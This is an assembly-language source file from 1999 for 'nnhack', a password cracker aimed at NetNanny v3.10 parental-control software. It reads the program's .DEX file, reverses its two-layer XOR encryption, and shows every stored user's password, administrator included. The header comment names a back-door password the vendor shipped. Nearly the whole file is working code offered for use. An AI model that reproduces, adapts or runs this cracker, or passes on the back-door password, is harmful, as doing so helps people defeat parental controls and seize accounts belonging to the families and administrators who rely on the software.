; ; program: nnhack.asm ; author: Saruman / DFR Research & Engineering ; updated: 1999-08-17 05:32 (v1.0.0) ; ========================================================================= ; ; nnhack is a small hack which can decrypt and display the ; user information of NetNanny v3.10. If you simply run it, it will open ; your %windir%\wnn3.ini file, get the installation path of NetNanny from ; there and try to open 'wnn3b.dex' in that directory. If this fails you ; will get a messagebox saying no .DEX/.RAT file could be found. ; ; You also supply the filename on the commandline, like this ; ; C:>nnhack c:\mypath\is\long\and\stupid\wnn3b.dex ; ; When the hack works you will be presented with a series of messageboxes, ; one for each user. The first one is the back-door password which is ; usually "~frontdoor" without the quotes. The second is the administrator ; account and then come any other defined users. ; ; Have fun. And oh, this program is not as bummed as I would like but it ; will have to do. Assembles to exactly 4Kb under TASM v5.0 ; ; ; Send questions and comments to srm_dfr@hotmail.com ; http://hem2.passagen.se/eddy1/reveng/ ; ; Assembled using TASM v5.0: ; tasm32 -ml -m5 -q nnhack.asm ; tlink32 -Tpe -aa -x -c nnhack ,,, import32 ; .386p .model flat, stdcall EXTRN CreateFileA:PROC EXTRN SetFilePointer:PROC EXTRN ReadFile:PROC EXTRN CloseHandle:PROC EXTRN ExitProcess:PROC EXTRN MessageBoxA:PROC EXTRN GetWindowsDirectoryA:PROC EXTRN GetPrivateProfileStringA:PROC EXTRN GetCommandLineA:PROC INCLUDE WINNT.INC ; standard winnt.h and winbase.h include constants MB_ICONEXCLAMATION = 0030H BID_PASSWORDS = 00000120h TDEX_HEADER_ROOTDATA_SIZE = 021h TDEX_USER_RECORD_SIZE = 05Eh SIMPLE_XOR_KEY = 080h .DATA sTitle db 'NetNanny v3.10 - Password-Cracker v1.0.0',0 sMessage db 'Programmed by Saruman / DFR Research & Engineering',0Ah,0Ah db 'http://hem2.passagen.se/eddy1/reveng/',0 sINIProgram db 'Start',0 sINIKey db 'Directory',0 sINIFilename db '\WNN3.INI' INILen EQU $-sINIFilename sDEXFilename db '\WNN3B.DEX' DEXLen EQU $-sDEXFilename sFilePathDefault db '.',0 sErrorNotFoundWNN3DEX db 'Could not access source .DEX/.RAT file',0Ah,0Ah db 'Supply filename or check for %windir%\wnn3.ini',0 fhDEX dd 0 fBytesRead dd 0 CurrentBlock dw 0 ; BlocksChecked dw 0 BaseOffsDir dd 0 BaseSizeDir dd 0 CurrOffs dd 0 ; Current offset of block being read CurrSize dd 0 ; Current length of block being read CurrKey dw 0 ; Current decryption key BlockID dd 0 FilePathPtr dd offset FilePath FilePath db MAX_PATH dup (?) DexHeader db TDEX_HEADER_ROOTDATA_SIZE dup (?) .CODE doErrorMsgBox: ; offset to message in esi push MB_ICONEXCLAMATION push offset sTitle push esi push 0 call MessageBoxA ret doUserMsgBox: mov esi,offset FilePath push 0 push esi add esi,032h push esi push 0 call MessageBoxA ret doMoveFilePtr: ; offset to move to in edi push FILE_BEGIN push 0 push edi push dword ptr [fhDEX] call SetFilePointer ret doReadDWord: ; offset to write to in edi push 0 push offset fBytesRead push 4 push edi push dword ptr [fhDEX] call ReadFile ret updatekey: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx mov cx,word ptr [CurrKey] mov ax,cx ; store key in ax for future use.. mov bx,0B1h ; .. and begin expr2 cwd idiv bx ; integer division imul dx,0ABh ; final calc of expr2 push edx ; store value of expr2 mov ax,cx ; get key again, begin expr3 mov bx,0B1h cwd idiv bx add ax,ax ; final calc of expr3 pop edx ; retrive value from expr2 sub dx,ax ; start expr1. expr1=(expr2-expr3) mov ax,dx imul ax,07FFFh ; final calculation - return expr1 in ax inc word ptr [CurrKey] ret cyclic_decrypt: mov ecx,TDEX_USER_RECORD_SIZE mov edi,offset FilePath decnextbyte: push ecx call updatekey xor byte ptr[edi],al inc edi pop ecx loop decnextbyte ret process_block: ; ; Calculate the correct offset to read the block offset from ; xor eax,eax mov ax,word ptr [CurrentBlock] shl ax,2 mov edi,eax push edi add edi,dword ptr [BaseOffsDir] call doMoveFilePtr mov edi,offset CurrOffs call doReadDWord pop edi add edi,dword ptr [BaseSizeDir] call doMoveFilePtr mov edi,offset CurrSize call doReadDWord mov edi,dword ptr [CurrOffs] call doMoveFilePtr ; ; Now we are ready to read CurrSize/0x5E user records. ; mov eax,dword ptr [CurrSize] xor edx,edx mov ebx,TDEX_USER_RECORD_SIZE div bl mov ecx,eax mov ax,word ptr [DexHeader+011h] mov word ptr [CurrKey],ax nextusr: dec ecx push ecx ; ; Read user record ; mov ecx,TDEX_USER_RECORD_SIZE push 0 push offset fBytesRead push ecx push offset FilePath ; hey, might as well recycle push dword ptr [fhDEX] call ReadFile ; ; Remove first layer of encryption ; call cyclic_decrypt ; ; Remove second layer of encryption ; mov ecx,TDEX_USER_RECORD_SIZE mov edi,offset FilePath decryptloop: xor byte ptr [edi],SIMPLE_XOR_KEY inc edi loop decryptloop ; ; Extract plaintext and present to user ; call doUserMsgBox ; Display decrypted info. Cheesy... pop ecx or ecx,ecx jnz nextusr ret START: push 0 ; MB_OK push offset sTitle push offset sMessage push 0 call MessageBoxA ; ; If there are a parameter, then try and use that for a filename ; call GetCommandLineA mov edi,eax mov ecx,MAX_PATH xor eax,eax cld repne scasb jcxz doINI ; Weird, no end found? Better skip. mov edx,edi ; save end of buffer mov eax,MAX_PATH sub ecx,eax xor ecx,-1 ; calculate length of commandline mov al,' ' std repne scasb ; find last space jcxz doINI sub edx,edi cmp edx,3 jbe doINI ; no tail, do the INI file instead add edi,2 mov dword ptr [FilePathPtr],edi ; set pointer to filename jmp doDEX ; ; We create the path+filename for the WNN3.INI in %windir% ; doINI: mov edi,offset FilePath push MAX_PATH push edi call GetWindowsDirectoryA add edi,eax mov esi,offset sINIFilename mov ecx,INILen rep movsb ; ; Next we retrieve the 'Directory' key from the WNN3.INI. ; push offset FilePath push MAX_PATH push dword ptr [FilePathPtr] push offset sFilePathDefault push offset sINIKey push offset sINIProgram call GetPrivateProfileStringA ; ; Create the full path-filename to WNN3B.DEX ; ; mov esi,offset sDEXFileName ; already correct from last copy mov edi,offset FilePath add edi,eax mov ecx,DEXLen rep movsb ; ; With the full path-filename in FilePathDEX we are now ; ready to open the file ; doDEX: push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_READ push dword ptr [FilePathPtr] call CreateFileA cmp eax,-1 jz errorWNN3DEX mov dword ptr [fhDEX],eax ; ; Read DEX header containing cryptographic key and other useful info ; push 0 push offset fBytesRead push TDEX_HEADER_ROOTDATA_SIZE push offset DexHeader push eax ; file handle call ReadFile ; ; Calculate two the start of the directories of offsets/lengths ; xor eax,eax mov ax,word ptr [DexHeader+01Fh] shl ax,2 mov ebx,eax add eax,TDEX_HEADER_ROOTDATA_SIZE mov dword ptr [BaseOffsDir],eax shl ebx,1 add ebx,TDEX_HEADER_ROOTDATA_SIZE mov dword ptr [BaseSizeDir],ebx nextid: mov edi,offset BlockID call doReadDWord cmp dword ptr [BlockID],BID_PASSWORDS je do_block backagain: mov ax,word ptr [DexHeader+01Dh] cmp ax,word ptr [CurrentBlock] je exit inc word ptr [CurrentBlock] jmp nextid do_block: ; inc word ptr [BlocksChecked] call process_block ; "pop" filepointer xor edi,edi mov di,word ptr [CurrentBlock] inc edi shl di,2 add edi,TDEX_HEADER_ROOTDATA_SIZE call doMoveFilePtr jmp backagain errorWNN3DEX: mov esi,offset sErrorNotFoundWNN3DEX call doErrorMsgBox exit: cmp dword ptr [fhDEX],0 jz doexit push dword ptr [fhDEX] call CloseHandle doexit: push 0 call ExitProcess END START